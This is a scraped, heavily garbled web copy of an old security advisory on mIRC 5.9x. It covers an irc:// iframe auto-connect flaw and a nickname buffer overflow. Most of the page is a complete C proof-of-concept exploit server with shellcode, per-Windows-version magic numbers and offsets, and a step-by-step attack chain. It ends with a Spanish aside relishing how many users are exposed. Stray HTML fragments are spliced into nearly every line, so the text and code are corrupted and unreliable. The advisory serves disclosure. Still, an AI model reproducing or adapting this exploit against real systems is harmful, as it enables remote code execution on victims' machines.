|
mIRC
irc:// Vulnerability and Nickname Buffer
OverflowmIRC
>
IRC (Internet Relay Chat) ONT size=5>mIRC
is a virtual meeting place where people from all
over tONT size=5>mIRC
he world can meet and talk; you'll find the whole diversiONT size=5>mIRC
ty of human
interests, ideas, and issues here, and you'ONT size=5>mIRC
ll be able to participate in group
discussions on one oONT size=5>mIRC
f the many thousands of IRC channels, or just talk in
pONT size=5>mIRC
rivate to family or friends, wherever they are in the worONT size=5>mIRC
ld. To use IRC you
need a small program like mIRC, a shareware
IRC clientONT size=5>mIRC
for Windows. Two security vulnerabilities in the productONT size=5>mIRC
would allow
a remote attacker to cause the mIRC prograONT size=5>mIRC
m to execute arbitrary code by causing
it to first connONT size=5>mIRC
ect to a malicious server.
Vulnerable syONT size=5>mIRC
stems: mIRC version 5.91 mIRC version 5.9
mIRC
BR>(All prior versions should be considered vulnerable) mIRC
BR> irc://
Vulnerability: An HTML page caONT size=5>mIRC
n cause mIRC to launch automatically. This
includes HTMONT size=5>mIRC
L e-mail when read from within Outlook Express. Under somONT size=5>mIRC
e
circumstances mIRC will automatically connect to the ONT size=5>mIRC
server specified within the
HTML page, other times mIRCONT size=5>mIRC
will ask if the user wishes to open another copy of
mIONT size=5>mIRC
RC or use the current one.
Details: JuONT size=5>mIRC
st insert the
following code into an HTML page or HTML ONT size=5>mIRC
e-mail. <iframe
src="irc://irc.example.com:6666"ONT size=5>mIRC
>
Nickname buffer overflow:
mIRC ONT size=5>mIRC
assumes the current nickname of the client as sent by theONT size=5>mIRC
server is
fewer than 100 characters long. mIRC stores ONT size=5>mIRC
the current and alternative nickname
as a static array.ONT size=5>mIRC
Sending a nickname over 200 characters long allows
oveONT size=5>mIRC
rwriting of a key variable, the index to the current nickONT size=5>mIRC
name. The C code
looks something like this
ONT size=5>mIRC
char nicks[2][100]; int currentnick;
//blahONT size=5>mIRC
blah
void setnick(char *newnick) {
&ONT size=5>mIRC
nbsp;strcpy(nicks[currentnick], newnick); }
AONT size=5>mIRC
s you can
overwrite currentnick, you can cause the strcONT size=5>mIRC
py to write to anywhere in memory
to a 100-byte precisiONT size=5>mIRC
on. In addition, as mIRC allows us to send nearly 1000
ONT size=5>mIRC
bytes into the buffer, that is quite a lot of space to exONT size=5>mIRC
ploit.
The
attacker does the following: &nbONT size=5>mIRC
sp;* Gets the victim to connect to their
server &nbONT size=5>mIRC
sp;* Sends a message changing the nick of the victim to aONT size=5>mIRC
nick
overwriting currentnick, to make it point to the ONT size=5>mIRC
stack. * Sends a
message changing the nick ofONT size=5>mIRC
the victim, this time overwriting EIP on the stack.
mIRC
R> The attacker includes the shell code in either of tONT size=5>mIRC
he messages. There
are two ways currently known of overONT size=5>mIRC
flowing this buffer, the first is to send:
NICK oldONT size=5>mIRC
nick longlongnewnick
However, it has the problem ONT size=5>mIRC
that once
it has been issued and currentnick made to poONT size=5>mIRC
int to the stack the current
nickname is unknown. The wONT size=5>mIRC
ay to solve this would be to kill the connection, let
mONT size=5>mIRC
IRC automatically reconnect then fire the exploit (mIRC wONT size=5>mIRC
ould send you the
nickname). However, this would rely oONT size=5>mIRC
n the "autoreconnect" feature.
The
other methodONT size=5>mIRC
is to send the following:
:anything 001 longlongONT size=5>mIRC
nick
:anything
Mitigating factors: &ONT size=5>mIRC
nbsp;* mIRC has to be
connected to the exploiting serveONT size=5>mIRC
r. However the irc:// vulnerability pretty much
cancelsONT size=5>mIRC
this. * The location of the stack varies throuONT size=5>mIRC
ghout each
Windows version. However if the irc:// vulneONT size=5>mIRC
rability was being used, Internet
Explorer at least senONT size=5>mIRC
ds the Windows version as a header. * The
vicONT size=5>mIRC
tim's version of mIRC must be known to be successful, thiONT size=5>mIRC
s could be obtained
by issuing a CTCP version
mIRC
B>Exploit: /*
Mirc buffer nONT size=5>mIRC
ickname buffer overflow proof of concept exploit.
&ONT size=5>mIRC
nbsp; Author: James Martin &nbONT size=5>mIRC
sp;Email:
me@uuuppz.com Website: ONT size=5>mIRC
http://www.uuuppz.com
ThiONT size=5>mIRC
s code is purely to demonstrate the risk posed
by this ONT size=5>mIRC
flaw. It should not be used for malONT size=5>mIRC
icious
purposes. I do not accept ONT size=5>mIRC
any responsibility for any
damage it may cause due to iONT size=5>mIRC
t use.
This code compiles
in ONT size=5>mIRC
Borland C++ 5.5 command line tools. Run it, &nbONT size=5>mIRC
sp; and type
/server 127.0.0.1 2680 (in mirc that ONT size=5>mIRC
is :P).
This
exploit could beONT size=5>mIRC
modified to work on many editions of mirc
&nONT size=5>mIRC
bsp; running on all variants of windows. However dueONT size=5>mIRC
to the
messing around that is reONT size=5>mIRC
quired to place the return
address on the stack &nbONT size=5>mIRC
sp; It will work on:
FONT size=5>mIRC
or the following do not #define EXPLOIT_2K
&nONT size=5>mIRC
bsp; Windows 98SE running Mirc 5.91
&nbsONT size=5>mIRC
p; Windows 98 running Mirc 5.91 &nbsONT size=5>mIRC
p;Windows
ME running Mirc 5.91 WiONT size=5>mIRC
th exploit 2K defined it will
exploit &ONT size=5>mIRC
nbsp;Windows 2K
The basic
conONT size=5>mIRC
cept of this overflow is as follows  ONT size=5>mIRC
;In memory mirc
stores the following variables
&nONT size=5>mIRC
bsp; [Primarynick(100chars)][Alternativenick(1ONT size=5>mIRC
00chars)][WhichNick[dword]]
ThereONT size=5>mIRC
is no length checking on the nickname returned to
nickONT size=5>mIRC
by the server. There are two ways ONT size=5>mIRC
to exploit this
a) Send the msg "ONT size=5>mIRC
:OLDCLIENTNICK NICK NEWCLIENTNICK"
&nbsONT size=5>mIRC
p;b) Send ":testserver 001 NEWNICKNAME :blah blah"
ONT size=5>mIRC
I found method a) on the 24/10/2001ONT size=5>mIRC
and reported this
problem to the author. &nbONT size=5>mIRC
sp; Method b) was published by eSDee of
hoepelkoe ONT size=5>mIRC
23/10/2001 (completely unknown to me!) &nONT size=5>mIRC
bsp;very
coincidental really.
 ONT size=5>mIRC
;From debugging the code, it seems
that this buffer is ONT size=5>mIRC
copied in several places. So there ONT size=5>mIRC
maybe more places to exploit this than are currently knONT size=5>mIRC
own.
I spent quite a bit of tONT size=5>mIRC
ime analysing the hole, in the
end I found &nONT size=5>mIRC
bsp; the way to do it was, to overright WhichNick
ONT size=5>mIRC
with a value, that would cause the ONT size=5>mIRC
currentnickname to
reference the stack, then send anothONT size=5>mIRC
er nick name
containing the new vONT size=5>mIRC
ersion of EIP to be overwritten on the stack.
&ONT size=5>mIRC
nbsp; For this we need a magick number to be pONT size=5>mIRC
laced in
currentnickname, this number &ONT size=5>mIRC
nbsp;must satisfy the equation
(magicknumber*100)+offseONT size=5>mIRC
t = location of pushed eip. Also
ONT size=5>mIRC
this magick number must not contain any zero bytes or
sONT size=5>mIRC
paces (value of 32). This works by ONT size=5>mIRC
exploiting the integer
overflow concept.
ONT size=5>mIRC
The following is the code which
appears in ONT size=5>mIRC
mirc. imul ecx, WhichNick, 64h
mIRC
R> add ecx, offset PrimaryNick
mIRC
> Unfortuantly the location of the stackONT size=5>mIRC
varies between
different versions of windows. &nbsONT size=5>mIRC
p; NT, Win2k, XP all have the
stack in very ONT size=5>mIRC
similar positions but it does move slightly.
ONT size=5>mIRC
Win98,Win98SE, WinME all have the stack in EXONT size=5>mIRC
ACTLY the
same position. Windows 95 is ONT size=5>mIRC
different again. Hence having
to do a #define forONT size=5>mIRC
the os you wish to exploit.
ThONT size=5>mIRC
is
may seem like quite a large mitigating factor but inONT size=5>mIRC
reality this is very easy
to oveONT size=5>mIRC
rcome if you couple this exploit with a HTTP server
whiONT size=5>mIRC
ch sends out a page to cause mirc tONT size=5>mIRC
o load and attempt
to connect to our evil server. As InONT size=5>mIRC
ternet explorer, is
nice enough tONT size=5>mIRC
o tell us exactly what OS is running! I think we can blamONT size=5>mIRC
e MS for
that one, talk about givONT size=5>mIRC
ing us a helping hand! */
#include<stdioONT size=5>mIRC
.h> #include<windows.h>
#include<wiONT size=5>mIRC
nsock2.h> #define SOCKADDRCAST struct sockaddr_in ONT size=5>mIRC
*
// This fuction binds a listenig socket SONT size=5>mIRC
OCKET
openlistensocket(void) { SOONT size=5>mIRC
CKET s;
struct sockaddr_in SockAdONT size=5>mIRC
r;
//
Get a new socket &nONT size=5>mIRC
bsp; s = socket(AF_INET, SOCK_STREAM,
IPPROTONT size=5>mIRC
O_TCP); // Set the ip add ress we aONT size=5>mIRC
re going to bind
to memset(&SONT size=5>mIRC
ockAdr, 0, sizeof(SockAdr));
SockONT size=5>mIRC
Adr.sin_addr.s_addr = inet_addr("0.0.0.0") ;
ONT size=5>mIRC
SockAdr.sin_family=AF_INET;
 ONT size=5>mIRC
; SockAdr.sin_port=htons(2680);
&nbsONT size=5>mIRC
p; printf("2: Starting\n"); //ONT size=5>mIRC
Attempt to bind socket if(bind(sONT size=5>mIRC
,
(SOCKADDRCAST)&SockAdr, sizeof(SockAdr))) {
mIRC
> // Failed free sockeONT size=5>mIRC
t and return -1
 ONT size=5>mIRC
;printf("Failed to open,
%u\n",WSAGetLastError());
mIRC
R> closesocket(s);ONT size=5>mIRC
return(-1); mIRC
R> } else
// Success listen on socket ONT size=5>mIRC
if(listen(s,
10ONT size=5>mIRC
)!=SOCKET_ERROR)
&nbsONT size=5>mIRC
p; return(s);
&nONT size=5>mIRC
bsp; else {
&nbsONT size=5>mIRC
p; printf("Failed to open
listen socket (lisONT size=5>mIRC
ten, %u)\n",WSAGetLastError());
&nbONT size=5>mIRC
sp; closesocket(s);
&nONT size=5>mIRC
bsp; return(-1);ONT size=5>mIRC
} } mIRC
R>// Shell code, this just
launches an executable /ONT size=5>mIRC
/ specifid following the shell code. Currently
// iONT size=5>mIRC
t does not clean up properly, so mirc will // crash. ONT size=5>mIRC
char
shellcode[44] = { 0x6A,0x01,0xB8,0xBF, mIRC
>0x74,0x55,0x44,0xC1,
0xE0,0x08,0xC1,0xE8, 0x08ONT size=5>mIRC
,0x50,0xB8,0x50, 0x90,0x54,0x44,0xC1,
0xE0,0x08ONT size=5>mIRC
,0xC1,0xE8, 0x08,0xFF,0xd0,0x33, 0xDB,0x53,0xB8,0ONT size=5>mIRC
x10,
0x8e,0x54,0x44,0xc1, 0xe0,0x08,0xc1,0xe8, ONT size=5>mIRC
0x08,0xff,0xd0,0x00};
#define EXPLOI_9xONT size=5>mIRC
#define MAGICNUMBER_NT 0x28eb207
#define MONT size=5>mIRC
AGICNUMBER_2K 0x28eb205 #define MAGICNUMBER_XP 0x28ebONT size=5>mIRC
205
#define MAGICNUMBER_9x 0x28Fc909 #define OFONT size=5>mIRC
FSET_NT 20 #define
OFFSET_2K 84 #define OFFSET_ONT size=5>mIRC
XP 12 #define OFFSET_9x 180 #define
OFFSET_95 1ONT size=5>mIRC
84
#ifdef EXPLOIT_NT #define MAGICNONT size=5>mIRC
UMBER
MAGICNUMBER_NT #define OFFSET OFFSET_NTONT size=5>mIRC
#else #ifdef
EXPLOIT_2K ONT size=5>mIRC
#define MAGICNUMBER MAGICNUMBER_2K
#defONT size=5>mIRC
ine OFFSET OFFSET_2K #else #ifdONT size=5>mIRC
ef
EXPLOIT_XP #define MAGICNUMBERONT size=5>mIRC
MAGICNUMBER_XP
#define OFFSET OFONT size=5>mIRC
FSET_XP #else
#deONT size=5>mIRC
fine MAGICNUMBER MAGICNUMBER_9x
#ONT size=5>mIRC
ifdef EXPLOIT_95
#defONT size=5>mIRC
ine OFFSET OFFSET_95
#else &nONT size=5>mIRC
bsp; #define OFFSET
OFFSET_9x mIRC
R> #endif #endif &nbONT size=5>mIRC
sp;#endif
#endif
// Our main function vONT size=5>mIRC
oid main() { SOCKET
s,client;  ONT size=5>mIRC
; char buf1[300],
&nbsONT size=5>mIRC
p; buf2[190],
&nONT size=5>mIRC
bsp; buf3[1500]; /*
Perform ONT size=5>mIRC
winsock startup */ WORD wVersionRequestedONT size=5>mIRC
;
WSADATA wsaData; HANDONT size=5>mIRC
LE h; int
wsErr; int leONT size=5>mIRC
n, *i; struct sockaddr_in
SockAdrONT size=5>mIRC
;
wVersionRequested = MAKEWORD( 1, 1 ONT size=5>mIRC
);
wsErr = WSAStartup( wVersionRequesteONT size=5>mIRC
d, &wsaData );
printf("1: InitialisONT size=5>mIRC
ing %u\n",wsErr); if ( wsErr
!= 0 ) { mIRC
BR> /* Tell the user that we couldONT size=5>mIRC
n't find a
usable */ /* WinONT size=5>mIRC
Sock DLL. */
printf("FailedONT size=5>mIRC
to start winsock exiting\n");
&nONT size=5>mIRC
bsp;return; }
//
OpONT size=5>mIRC
en Listen Socket s = openlistensocket(); ONT size=5>mIRC
// Accept a connection &nONT size=5>mIRC
bsp;len =
sizeof(SockAdr); client = accONT size=5>mIRC
ept(s, &SockAdr, &len);
printf(ONT size=5>mIRC
"Accepted\n");
// Init the two
explONT size=5>mIRC
oit buffers. memset(buf1, 'X', sizeof(bufONT size=5>mIRC
1));
memset(buf2, 'Y', sizeof(buf1)); mIRC
BR> buf1[204] = 0;
buf2[OFFSONT size=5>mIRC
ET+3] = 0;
// Set the return
addresONT size=5>mIRC
s to be poped onto the stack buf2[OFFSET]ONT size=5>mIRC
= 0x94;
buf2[OFFSET+1] = 0x74; &nbONT size=5>mIRC
sp; buf2[OFFSET+2] = 0x55;
// ONT size=5>mIRC
Set our little magic number i = (int
*)ONT size=5>mIRC
(buf1+200); *i = MAGICNUMBER;
&nbONT size=5>mIRC
sp; // Build the
exploit string spONT size=5>mIRC
rintf(buf3, ":testserver 001 %s%scalc.exe
:ddd\n:testseONT size=5>mIRC
rver 001 %s :x\n:testserver 001 test :x\n", buf1,shellcodONT size=5>mIRC
e,buf2);
// Send it  ONT size=5>mIRC
;send(client, buf3,
strlen(buf3),0);
&nbsONT size=5>mIRC
p;// Wait
printf("Waiting\n"); &nbsONT size=5>mIRC
p; Sleep(10000);
// Cleanup mIRC
R> closesocket(client);
closONT size=5>mIRC
esocket(s); }
Additional Information: ONT size=5>mIRC
The information has been provided
by mIRC
f="mailto:uuuppz@phishy.net">James Martin and eSDee. ONT size=5>mIRC
NOTA: como se van a diveONT size=5>mIRC
rtir los muchachos con
esto... todo el mundo usa esa veONT size=5>mIRC
rsion de mirc!!!, el icq tambien tiene un buffer
overflONT size=5>mIRC
ow, no estas seguro con nada
mIRC
size=2> |